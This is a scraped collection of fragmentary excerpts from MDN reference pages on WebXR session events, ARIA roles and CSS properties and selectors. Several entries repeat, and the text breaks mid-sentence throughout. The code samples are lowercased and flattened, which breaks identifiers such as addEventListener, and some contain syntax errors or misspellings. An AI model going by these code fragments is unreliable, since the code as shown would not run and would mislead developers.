this snippet is the core of an event handler to allow the user to grab objects in the scene and move them around.
... in
this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
...
this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc).
XRSession: squeezeend event - Web APIs
this snippet is the core of an event handler to allow the user to grab objects in the scene and move them around.
... in
this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
...
this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc).
XRSession: squeezestart event - Web APIs
this snippet is the core of an event handler to allow the user to grab objects in the scene and move them around.
... in
this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
...
this places the object into its new position in the world and triggers any effects that may arise from doing so (like scheduling an animation of a splash if dropped in water, etc).
XRSession: visibilitychange event - Web APIs
bubbles yes cancelable no interface xrsessionevent event handler property onvisibilitychange when the xrsession receives
this event, the visibility state has already been changed.
... examples
this example demonstrates how to listen for a visibilitychange event on a webxr session, using addeventlistener() to begin listening for the event: navigator.xr.requestsession("inline").then((xrsession) => { xrsession.addeventlistener("visibilitychange", e => { switch(e.session.visiblitystate) { case "visible": case "visible-blurred": mysessionvisible(true); break; case "hidden": mysessionvisible(false); break; } }); }); when a visibility state change occurs, the event is received and dispatched to a function mysessionvisible(), with a boolean parameter indicating whether or not the session is presently being displayed to the user.
... you can also create the event handler by assigning it to the xrsession's onvisibilitychange event handler property, like
this: xrsession.onvisibilitychange = (e) => { /* event handled here */ }; specifications specification status comment webxr device apithe definition of 'visibilitychange event' in that specification.
XRSessionEvent() - Web APIs
syntax newxrsessionevent = new xrsessionevent(type, eventinitdict); parameters type a domstring indicating which of the events represented by objects of type xrsessionevent
this particular object represents.
... examples
this example creates a listiener that watches for the visibility state of the session to change.
... it reacts by calling a function mysessionvisible() with a boolean indicating whether or not the session is visible;
this function might, for instance, spin up or reconfigure a worker that handles rendering the scene.
XRSystem: devicechange event - Web APIs
you can use
this event to, for example, monitor for the availability of a webxr-compatible device so that you can enable a ui element which the user can use to activate immersive mode.
...
this is shown in the example below.
... if (navigator.xr) { navigator.xr.addeventlistener("devicechange", event => { navigator.xr.issessionsupported("immersive-vr") .then(immersiveok) => { if (immersiveok) { enablexrbutton.disabled = false; } else { enablexrbutton.disabled = true; } }); }); } when devicechange is received, the handler set up in
this code calls the xr method issessionsupported() to find out if there's a device available that can handle immersive vr presentations.
XRSystem: requestSession() - Web APIs
exceptions
this method doesn't throw true exceptions; instead, it rejects the returned promise, passing into it a domexception whose name is one of the following: invalidstateerror the requested session mode is immersive-vr but there is already an immersive vr session either currently active or in the process of being set up.
... notsupportederror there is no webxr-compatible device available, or the device does not support the specified sessionmode;
this can also be thrown if any of the required options are unsupported.
...
this can happen for a number of reasons, which are covered in more detail in permissions and security in webxr device api.
XRTargetRayMode - Web APIs
examples
this fragment of code shows part of a function to be called once every frame.
...inputs which have a value for
this property represent inputs that project a target ray outward from the user.
... for each such input,
this example looks for inputs whose targetraymode is tracked-pointer, indicating that the input is in fact intended to represent a targeting device rather than a gazing device, screen tap, or mouse click.
XRWebGLLayerInit.antialias - Web APIs
if
this property is missing or is false, anti-aliasing is not desired.
... there is no way to request a specific anti-aliasing format or level;
this decision is left up to the user agent.
... example in
this example, before creating a new xrwebgllayer to use for rendering, the value of a user preference from a configuration interface is obtained using a function called getpreferencevalue() to determine whether the user has enabled or disabled anti-aliasing support;
this is passed into the constructor.
msCapsLockWarningOff - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
...
this property enables
this warning to be disabled.
msPutPropertyEnabled - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
... return value type = hresult: if
this method succeeds, it returns s_ok.
Web APIs
web apis are typically used with javascript, although
this doesn't always have to be the case.
... specifications
this is a list of all the apis that are available.
...ns apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage access apistreams ttouch eventsuurl apivvibration apivisual viewport wweb animationsweb audio apiweb authentication apiweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr device apiwebsockets api interfaces
this is a list of all the interfaces (that is, types of objects) that are available.
Using the aria-activedescendant attribute - Accessibility
this article describes the aria-activedescendant property.
...
this active child using the aria-activedescendant property must always be visible on screen and must be a descendant of the container in the document object model.
... note: opinions may differ on how assistive technology should handle
this technique.
Using the aria-required attribute - Accessibility
this attribute can be used with any typical html form element; it is not limited to elements that have an aria role assigned.
... note that
this attribute will not automatically change the presentation of the field.
... note: opinions may differ on how assistive technology should handle
this technique.
Using the group role - Accessibility
description
this technique demonstrates how to use the group role and describes the effect it has on browsers and assistive technology.
...following
this the focused control may be announced.
... note: opinons may differ on how assistive technology should handle
this technique.
ARIA: cell role - Accessibility
if all the columns are in the dom,
this attribute is not necessary.
...if the rows that are visible are contiguous, and there are no cells with a colspan or rowspan greater than one,
this property can be added to the parent rows instead of all the rows' cells.
...in
this case, you can use the aria table roles to add the semantics back in.
ARIA: Comment role - Accessibility
<p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think
this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> to associate the comment with the text being commented, we need to wrap the commented text with an element containing the aria-details attribute, the value of which should be the id of the comment.
...ails can now accept multiple ids, we can associate multiple comments with the same annotation, like so: <p>the last half of the song is a slow-rising crescendo that peaks at the <mark aria-details="thread-1 thread-2">end of the guitar solo</mark>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think
this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> <div role="comment" id="thread-2" data-author="chris"> <h3>marcus said</h3> <p class="comment-text">the guitar solo could do with a touch more chorus, and a slightly lower volume.</p> <p><time datetime="2019-03-29t15:35">march 29 2019, 15:35</time></p> </div> nested comment...
...s nested comments are also possible with aria annotations — simply nest the comments inside one another, like so: <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think
this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> <div role="comment" data-author="marcus"> <h3>marcus replied</h3> <p class="comment-text">i don't know about that.
ARIA: gridcell role - Accessibility
this sample code demonstrates a table-style grouping of information where the third and fourth columns have been removed.
...
this is done by applying the html contenteditable attribute.
...note that if
this attribute is provided, it applies only to the individual gridcell.
ARIA: Mark role - Accessibility
this is semantically equivalent to the html <mark> element.
... if possible, you should use
this element instead.
... <p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think
this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> the related comment is marked up using an html structure wrapped with a <div> containing role="comment".
ARIA: table role - Accessibility
aria-colcount attribute
this attribute is only required if the columns are not present in the dom all the time.
... aria-rowcount attribute
this attribute is only required if the rows are not present in the dom all the time, such as scrollable tables that reuse rows to minimize the number of dom nodes.
...in
this case, you can use the aria table roles to re-add the semantics.
ARIA: checkbox role - Accessibility
if the role is applied to a non-focusable element, use the tabindex attribute to change
this.
...
this attribute has one of three possible values: true the checkbox is checked false the checkbox is not checked mixed the checkbox is partially checked, or indeterminate tabindex="0" used to make it focusable so the assistive technology user can tab to it and start reading right away.
... note: opinions may differ on how assistive technology should handle
this technique.
Accessibility and Spacial Patterns - Accessibility
the mechanism for
this is poorly understood, but is believed to be linked to "gamma oscillations" set up in the brain.
... the web developer can do something about
this in the manner in which he displays math.
... animation figures strongly in
this arena.
-moz-context-properties - CSS: Cascading Style Sheets
to do
this the embedding element needs to list the properties that are to be made available to the image by listing them as values of the -moz-context-properties property, and the image needs to opt in to using those properties by using values such as the context-fill value.
... formal definition initial valuenoneapplies toany element that can have an image applied to it, for example as a background-image, border-image, or list-style-image.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ fill | fill-opacity | stroke | stroke-opacity ]# examples exposing fill and stroke to an svg image in
this example we have a simple svg embedded using an <img> element.
...for example: .img1 { width: 100px; height: 100px; -moz-context-properties: fill, stroke; fill: lime; stroke: purple; } now that you've done
this, the svg image can use the values of the fill and stroke properties, for example: <img class="img1" src="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'> <rect width='100%' height='100%' stroke-width='30px' fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/></svg>"> here we've set the image src to a data uri containing a simple svg image; the <rect> inside has been made to take its fill and stroke ...
-moz-outline-radius - CSS: Cascading Style Sheets
/* one value */ -moz-outline-radius: 25px; /* two values */ -moz-outline-radius: 25px 1em; /* three values */ -moz-outline-radius: 25px 1em 12%; /* four values */ -moz-outline-radius: 25px 1em 12% 4mm; /* global values */ -moz-outline-radius: inherit; -moz-outline-radius: initial; -moz-outline-radius: unset; constituent properties
this property is a shorthand for the following css properties: -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright syntax values elliptical outlines and <percentage> values follow the syntax described in border-radius.
...oz-outline-radius-topleft: a length, percentage or calc();-moz-outline-radius-topright: a length, percentage or calc();-moz-outline-radius-bottomright: a length, percentage or calc();-moz-outline-radius-bottomleft: a length, percentage or calc(); formal syntax <outline-radius>{1,4} [ / <outline-radius>{1,4} ]?where <outline-radius> = <length> | <percentage> examples rounding an outline note:
this example will not display the desired effect if you are viewing
this in a browser other than firefox.
... html <p>
this element has a rounded outline!</p> css p { margin: 5px; border: 1px solid black; outline: dotted red; -moz-outline-radius: 12% 1em 25px; } result notes dotted or dashed radiused corners were rendered as solid until firefox 50, bug 382721 future versions of gecko/firefox may drop
this property completely.
-webkit-text-stroke - CSS: Cascading Style Sheets
this is a shorthand property for the longhand properties -webkit-text-stroke-width and -webkit-text-stroke-color.
... /* width and color values */ -webkit-text-stroke: 4px navy; text-stroke: 4px navy; /* global values */ -webkit-text-stroke: inherit; -webkit-text-stroke: initial; -webkit-text-stroke: unset; text-stroke: inherit; text-stroke: initial; text-stroke: unset; constituent properties
this property is a shorthand for the following css properties: -webkit-stroke-color -webkit-stroke-width syntax values <length> the width of the stroke.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples adding a red text stroke html <p id="example">the stroke of
this text is red.</p> css #example { font-size: 3em; margin: 0; -webkit-text-stroke: 2px red; } result specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke' in that specification.
::before (:before) - CSS: Cascading Style Sheets
html <span class="ribbon">notice where the orange box is.</span> css .ribbon { background-color: #5bc8f7; } .ribbon::before { content: "look at
this orange box."; background-color: #ffba10; border-color: black; border-style: dotted; } result to-do list in
this example we will create a simple to-do list using pseudo-elements.
...
this method can often be used to add small touches to the ui and improve user experience.
... result special characters as
this is css; not html, you can not use markup entities in content values.
:active - CSS: Cascading Style Sheets
other common targets of
this pseudo-class include elements that contain an activated element, and form elements that are being activated through their associated <label>.
... note: on systems with multi-button mice, css3 specifies that the :active pseudo-class must only apply to the primary button; on right-handed mice,
this is typically the leftmost button.
... syntax :active examples active links html <p>
this paragraph contains a link: <a href="#">
this link will turn red while you click on it.</a> the paragraph will get a gray background while you click on it or the link.
:first-of-type - CSS: Cascading Style Sheets
beginning with selectors level 4,
this is no longer required.
... syntax :first-of-type examples styling the first paragraph html <h2>heading</h2> <p>paragraph 1</p> <p>paragraph 2</p> css p:first-of-type { color: red; font-style: italic; } result nested elements
this example shows how nested elements can also be targeted.
... html <article> <div>
this `div` is first!</div> <div>
this <span>nested `span` is first</span>!</div> <div>
this <em>nested `em` is first</em>, but
this <em>nested `em` is last</em>!</div> <div>
this <span>nested `span` gets styled</span>!</div> <b>
this `b` qualifies!</b> <div>
this is the final `div`.</div> </article> css article :first-of-type { background-color: pink; } result specifications specification status comment selectors level 4the definition of ':first-of-type' in that specification.
:focus-within - CSS: Cascading Style Sheets
(
this includes descendants in shadow trees.) /* selects a <div> when one of its descendants is focused */ div:focus-within { background: cyan; }
this selector is useful, to take a common example, for highlighting an entire <form> container when the user focuses on one of its <input> fields.
... syntax :focus-within examples in
this example, the form will receive special coloring styles when either text input receives focus.
... html <p>try typing into
this form.</p> <form> <label for="given_name">given name:</label> <input id="given_name" type="text"> <br> <label for="family_name">family name:</label> <input id="family_name" type="text"> </form> css form { border: 1px solid; color: gray; padding: 4px; } form:focus-within { background: #ff8; color: black; } input { margin: 4px; } result specifications specification status comment selectors level 4the definition of ':focus-within' in that specification.
:hover - CSS: Cascading Style Sheets
syntax :hover examples basic example html <a href="#">try hovering over
this link.</a> css a { background-color: powderblue; transition: background-color .5s; } a:hover { background-color: gold; } result image gallery you can use the :hover pseudo-class to build an image gallery with full-size images that show only when the mouse moves over a thumbnail.
... see
this demo for a possible cue.
... note: for an analogous effect, but based on the :checked pseudo-class (applied to hidden radioboxes), see
this demo, taken from the :checked reference page.
:lang() - CSS: Cascading Style Sheets
examples in
this example, the :lang() pseudo-class is used to match the parents of quote elements (<q>) using child combinators.
... note that
this doesn't illustrate the only way to do
this, and that the best method to use depends on the type of document.
... html <div lang="en"><q>
this english quote has a <q>nested</q> quote inside.</q></div> <div lang="fr"><q>
this french quote has a <q>nested</q> quote inside.</q></div> <div lang="de"><q>
this german quote has a <q>nested</q> quote inside.</q></div> css :lang(en) > q { quotes: '\201c' '\201d' '\2018' '\2019'; } :lang(fr) > q { quotes: '« ' ' »'; } :lang(de) > q { quotes: '»' '«' '\2039' '\203a'; } result specifications specification status comment selectors level 4the definition of ':lang()' in that specification.
:last-of-type - CSS: Cascading Style Sheets
beginning with selectors level 4,
this is no longer required.
... syntax :last-of-type examples styling the last paragraph html <h2>heading</h2> <p>paragraph 1</p> <p>paragraph 2</p> css p:last-of-type { color: red; font-style: italic; } result nested elements
this example shows how nested elements can also be targeted.
... html <article> <div>
this `div` is first.</div> <div>
this <span>nested `span` is last</span>!</div> <div>
this <em>nested `em` is first</em>, but
this <em>nested `em` is last</em>!</div> <b>
this `b` qualifies!</b> <div>
this is the final `div`!</div> </article> css article :last-of-type { background-color: pink; } result specifications specification status comment selectors level 4the definition of ':last-of-type' in that specification.
:link - CSS: Cascading Style Sheets
thus, the links in
this example will probably have special font colors only before you visit them.
... html <a href="#ordinary-target">
this is an ordinary link.</a><br> <a href="">you've already visited
this link.</a><br> <a>placeholder link (won't get styled)</a> css a:link { background-color: gold; color: green; } result specifications specification status comment html living standardthe definition of ':link' in that specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
:only-child - CSS: Cascading Style Sheets
this is the same as :first-child:last-child or :nth-child(1):nth-last-child(1), but with a lower specificity.
...beginning with selectors level 4,
this is no longer required.
... syntax :only-child examples basic example html <div> <div>i am an only child.</div> </div> <div> <div>i am the 1st sibling.</div> <div>i am the 2nd sibling.</div> <div>i am the 3rd sibling, <div>but
this is an only child.</div></div> </div> css div:only-child { color: red; } div { display: inline-block; margin: 6px; outline: 1px solid; } result a list example html <ol> <li>first <ul> <li>
this list has just one element.</li> </ul> </li> <li>second <ul> <li>
this list has three elements.</li> <li>
this list has three elements.</li> <li>
this list has three elements.</li> </ul> </li> </ol> css li li { list-style-type: disc; } li:only-child { color: red; list-style-type: square; } result specifications ...
:target - CSS: Cascading Style Sheets
html <h3>table of contents</h3> <ol> <li><a href="#p1">jump to the first paragraph!</a></li> <li><a href="#p2">jump to the second paragraph!</a></li> <li><a href="#nowhere">
this link goes nowhere, because the target doesn't exist.</a></li> </ol> <h3>my fun article</h3> <p id="p1">you can target <i>
this paragraph</i> using a url fragment.
... click on the link above to try out!</p> <p id="p2">
this is <i>another paragraph</i>, also accessible from the links above.
...
this technique relies on the ability of anchor links to point to elements that are initially hidden on the page.
:valid - CSS: Cascading Style Sheets
this allows to easily make valid fields adopt an appearance that helps the user confirm that their data is formatted properly.
... /* selects any valid <input> */ input:valid { background-color: powderblue; }
this pseudo-class is useful for highlighting correct fields for the user.
... syntax :valid examples indicating valid and invalid form fields in
this example, we use structures like
this, which include extra <span>s to generate content on; we'll use these to provide indicators of valid/invalid data: <div> <label for="fname">first name *: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> to provide these indicators, we use the following css: input + span { position: relative; } input + span::before { position: absolute; right: -20px; top: 5px; } input:invalid { border: 2px solid red; } input:invalid + span::before { content: '✖'; color: red; } input:valid + span::before { content: '✓'; color: green; } we set the <span>s to position: relative so that we can position the generated content relative t...
@charset - CSS: Cascading Style Sheets
@charset "utf-8";
this at-rule is useful when using non-ascii characters in some css properties, like content.
...
this method is obsoleted in html5 and must not be used.
... recommendation initial definition browser compatibility the compatibility table on
this page is generated from structured data.
@document - CSS: Cascading Style Sheets
@document is currently only supported in firefox; if you wanted to replicate using such functionality in your own non-firefox browser, you could try using
this polyfill by @an-error94, which uses a combination of a user script, data-* attributes, and attribute selectors.
... note: there is a -moz-prefixed version of
this property — @-moz-document.
...
this has been limited to use only in user and ua sheets in firefox 59 in nightly and beta — an experiment designed to mitigate potential css injection attacks (see bug 1035091).
font-weight - CSS: Cascading Style Sheets
to prevent
this, use font-synthesis property.
... css fonts level 4 extends the syntax to accept any number between 1 and 1000, inclusive, and introduces variable fonts, which can make use of
this much finer-grained range of font weights.
...however some fonts, called variable fonts, can support a range of weights with more or less fine granularity, and
this can give the designer a much closer degree of control over the chosen weight.
-moz-device-pixel-ratio - CSS: Cascading Style Sheets
do not use
this feature.
... note:
this media feature is also implemented by webkit and by ie 11 for windows phone 8.1 as -webkit-device-pixel-ratio.
... example: @media (-webkit-min-device-pixel-ratio: 2), /* webkit-based browsers */ (min--moz-device-pixel-ratio: 2), /* older firefox browsers (prior to firefox 16) */ (min-resolution: 2dppx), /* the standard way */ (min-resolution: 192dpi) /* dppx fallback */ note: see
this csswg article for compatibility good practices regarding resolution and dppx.
-webkit-transition - CSS: Cascading Style Sheets
apple has a description in safari css reference;
this is now called simply transition there.
... note: you should not use
this media feature; it was never specified, has never been widely implemented, and has been removed from all browsers.
...instead, test for transition support using the css @supports at-rule, like
this: @supports (transition: initial) { /* css to use if transitions are supported */ } obsolete example before
this became obsolete, you could use -webkit-transition in your css like
this: @media (-webkit-transition) { /* css to use if transitions are supported */ } specifications not part of any standard.
aspect-ratio - CSS: Cascading Style Sheets
html <div id='inner'> watch
this element as you resize your viewport's width and height.
...minimum aspect ratio */ @media (min-aspect-ratio: 8/5) { div { background: #9af; /* blue */ } } /* maximum aspect ratio */ @media (max-aspect-ratio: 3/2) { div { background: #9ff; /* cyan */ } } /* exact aspect ratio, put it at the bottom to avoid override*/ @media (aspect-ratio: 1/1) { div { background: #f9a; /* red */ } } _example used iframe and dataurl to enable
this iframe could resize html <label id="wf" for="w">width:165</label> <input id="w" name="w" type="range" min="100" max="250" step="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239af; } } @media (max-aspect-rat...
...io: 3/2) { div { background: %239ff; } } @media (aspect-ratio: 1/1) { div { background: %23f9a; } }</style><div id='inner'> watch
this element as you resize your viewport's width and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcontent="height:"+h.value } result specifications specification status comment media queries level 4the definition of 'aspect-ratio' in that specification.
display-mode - CSS: Cascading Style Sheets
this feature corresponds to the web app manifest's display member.
...
this can include the application having a different window, its own icon in the application launcher, etc.
... in
this mode, the user agent will exclude ui elements for controlling navigation, but can include other ui elements such as a status bar.
prefers-reduced-motion - CSS: Cascading Style Sheets
important: an embedded example at the bottom of
this page has a scaling movement that may be problematic for some readers.
...changes to
this preference take effect immediately.
... examples
this example has a scaling animation by default.
@namespace - CSS: Cascading Style Sheets
this means that html elements will act as though they are in the xhtml namespace (http://www.w3.org/1999/xhtml), even if there is no xmlns attribute anywhere in the document, and the <svg> and <math> elements will be assigned their proper namespaces (http://www.w3.org/2000/svg and http://www.w3.org/1998/math/mathml).
...to match
this behaviour, the default namespace in css does not apply to attribute selectors.
...[ <string> | <url> ];where <namespace-prefix> = <ident> examples specifying default and prefixed namespaces @namespace url(http://www.w3.org/1999/xhtml); @namespace svg url(http://www.w3.org/2000/svg); /*
this matches all xhtml <a> elements, as xhtml is the default unprefixed namespace */ a {} /*
this matches all svg <a> elements */ svg|a {} /*
this matches both xhtml and svg <a> elements */ *|a {} specifications specification status comment css namespaces modulethe definition of '@namespace' in that specification.
@viewport - CSS: Cascading Style Sheets
this is typically based on the size of the window on desktop browsers that aren't in full screen mode.
...
this may be either the full screen or the full screen area minus areas controlled by the operating system (such as a taskbar) or the application-available screen area (either the full screen or the screen minus any areas owned by the operating system or other applications).
... descriptors browser support for @viewport is weak at
this time, with support being largely available in internet explorer and edge.
Alternative style sheets - CSS: Cascading Style Sheets
internet explorer also supports
this feature (beginning with ie 8), also accessed from view > page style.
...for example: <link href="reset.css" rel="stylesheet" type="text/css"> <link href="default.css" rel="stylesheet" type="text/css" title="default style"> <link href="fancy.css" rel="alternate stylesheet" type="text/css" title="fancy"> <link href="basic.css" rel="alternate stylesheet" type="text/css" title="basic"> in
this example, the styles "default style", "fancy", and "basic" will be listed in the page style submenu, with "default style" pre-selected.
...
this tells the browser which style sheet title should be selected by default, and makes that default selection apply in browsers that do not support alternate style sheets.
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
border-image generator
this interactive tool lets you visually create border images (the border-image property).
... border-radius generator
this interactive tool lets you visually create rounded corners (the border-radius property).
... box-shadow generator
this interactive tool lets you visually create shadows behind elements (the box-shadow property).
Mastering margin collapsing - CSS: Cascading Style Sheets
this applies to both adjacent elements and nested elements.
... examples html <p>the bottom margin of
this paragraph is collapsed …</p> <p>… with the top margin of
this paragraph, yielding a margin of <code>1.2rem</code> in between.</p> <div>
this parent element contains two paragraphs!
... <p>
this paragraph has a <code>.4rem</code> margin between it and the text above.</p> <p>my bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>.</p> </div> <p>i am <code>2rem</code> below the element above.</p> css div { margin: 2rem 0; background: lavender; } p { margin: .4rem 0 1.2rem 0; background: yellow; } result specifications specification status comment css level 2 (revision 1)the definition of 'margin collapsing' in that specification.
CSS Fonts - CSS: Cascading Style Sheets
ternates font-variant-caps font-variant-east-asian font-variant-ligatures font-variant-numeric font-variant-position font-variation-settings font-weight line-height at-rules @font-face font-family font-feature-settings font-style font-variant font-weight font-stretch src unicode-range @font-feature-values guides fundamental text and font styling in
this beginner's learning article we go through all the basic fundamentals of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.
...
this article provides you with all you need to know about using opentype font features in css.
...
this article will give you all you need to know to get you started using variable fonts.
CSS Overflow - CSS: Cascading Style Sheets
this is the overflow of painting effects which do not affect layout or otherwise extend the scrollable overflow region, such as box shadows, border images, text decoration, overhanging glyphs, outlines, etc.
...
this is the content appearing outside of the box for which scrolling mechanisms need to be provided.
... the source for
this interactive example is stored in a github repository.
Stacking with floated blocks - CSS: Cascading Style Sheets
this happens according to standard float behaviour.
...
this behavior can be shown with an added rule to the above list: the background and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant non-positioned inline elements descendant positioned elements, in order of appearance in the html note: if an opacity value is applied to the non-positioned block (div #4), then something strange happens: the background and border of that block pops up above the floating blocks and the positioned blocks.
...
this is due to a peculiar part of the specification: applying a opacity value creates a new stacking context (see what no one told you about z-index).
Stacking context example 1 - CSS: Cascading Style Sheets
in
this last example you can see that div #2 and div #4 are not siblings, because they belong to different parents in the html elements' hierarchy.
...
this means that all their content, including div #2 and div #4, belongs to the same root stacking context.
...and
this example shows what happens when a parent element does not create a stacking context.
Center an element - CSS: Cascading Style Sheets
in
this recipe you will see how to center one box inside another.
... recipe download
this example choices made to center one box inside another we make the containing box a flex container.
...however, support is currently limited for box alignment properties on block layout, so currently centering using flexbox is the most robust way to achieve
this.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
also,
this method of switching animation off according to the user's preference can also benefit users with low battery or low-end phones or computers.
... example
this example has an annoying animation unless you turn on reduce motion in your accessibility preferences.
...
this will help not only users with low vision and contrast sensitivity issues but also users that are working on a computer or phone with direct sunlight.
CSS reference - CSS: Cascading Style Sheets
use
this css reference to browse an alphabetical index of all of the standard css properties, pseudo-classes, pseudo-elements, data types, and at-rules.
... keyword index note: the property names in
this index do not include the javascript names where they differ from the css standard names.
...
this is a grouping method to select several matching elements.
Tools - CSS: Cascading Style Sheets
this page offers links to a number of useful tools that will help you build the css to style your content using these features.
... cubic bezier generator
this is a sample tool; it lets you edit bezier curves.
...
this is not really yet a useful tool, but will be!linear-gradient generator
this tool can be used to create custom css3 linear-gradient() backgrounds.
align-items - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...rt */ align-items: flex-end; /* pack flex items from the end */ /* baseline alignment */ align-items: baseline; align-items: first baseline; align-items: last baseline; /* overflow alignment (for positional alignment only) */ align-items: safe center; align-items: unsafe center; /* global values */ align-items: inherit; align-items: initial; align-items: unset; values normal the effect of
this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes.
... for grid items,
this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start.
align-self - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... normal the effect of
this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes.
... for grid items,
this keyword leads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start.
animation - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...ener('animationstart', function () { togglebutton(button[index], 'pause'); }); node.addeventlistener('animationend', function () { togglebutton(button[index], 'restart'); }); }); button.foreach(function (btn, index) { btn.addeventlistener('click', function () { playpause(index); }); }); }) a description of which properties are animatable is available; it's worth noting that
this description is also valid for css transitions.
... constituent properties
this property is a shorthand for the following css properties: animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function syntax the animation property is specified as one or more single animations, separated by commas.
backface-visibility - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...(
this property has no effect on 2d transforms, which have no perspective.) syntax /* keyword values */ backface-visibility: visible; backface-visibility: hidden; /* global values */ backface-visibility: inherit; backface-visibility: initial; backface-visibility: unset; the backface-visibility property is specified as one of the keywords listed below.
... formal definition initial valuevisibleapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax visible | hidden examples cube with transparent and opaque faces
this example shows a cube with transparent faces, and one with opaque faces.
background-attachment - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...(
this is not compatible with background-clip: text.) local the background is fixed relative to the element's contents.
...</p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); background-attachment: fixed; } result multiple background images
this property supports multiple background images.
background-position-x - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... the value of
this property is overridden by any declaration of the background or background-position shorthand properties applied to the element after it.
... browser compatibility the compatibility table in
this page is generated from structured data.
background-position-y - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... the value of
this property is overridden by any declaration of the background or background-position shorthand properties applied to the element after it.
... browser compatibility the compatibility table in
this page is generated from structured data.
border-image-slice - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...the source image for the borders is as follows: the diamonds are 30px across, therefore setting 30 pixels as the value for both border-width and border-image-slice will get you complete and fairly crisp diamonds in your border: border-width: 30px; border-image-slice: 30; these are the default values we have used in
this example.
... however, we have also provided two sliders to allow you to dynamically change the values of the above two properties, allowing you to appreciate the effect they have: border-image-slice changes the size of the image slice sampled for use in each border and border corner (and the content area, if the fill keyword is used) — varying
this away from 30 causes the border to look somewhat irregular, but can have some interesting effects.
border-image-width - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... if
this property's value is greater than the element's border-width, the border image will extend beyond the padding (and/or content) edge.
...it also applies to ::first-letter.inheritednopercentagesrefer to the width or height of the border image areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples tiling a border image
this example creates a border image using the following ".png" file, which is 90 by 90 pixels: thus, each circle in the source image is 30 by 30 pixels.
border-spacing - CSS: Cascading Style Sheets
this property applies only when border-collapse is separate.
... the source for
this interactive example is stored in a github repository.
... examples spacing and padding table cells
this example applies a spacing of .5em vertically and 1em horizontally between a table's cells.
border-width - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
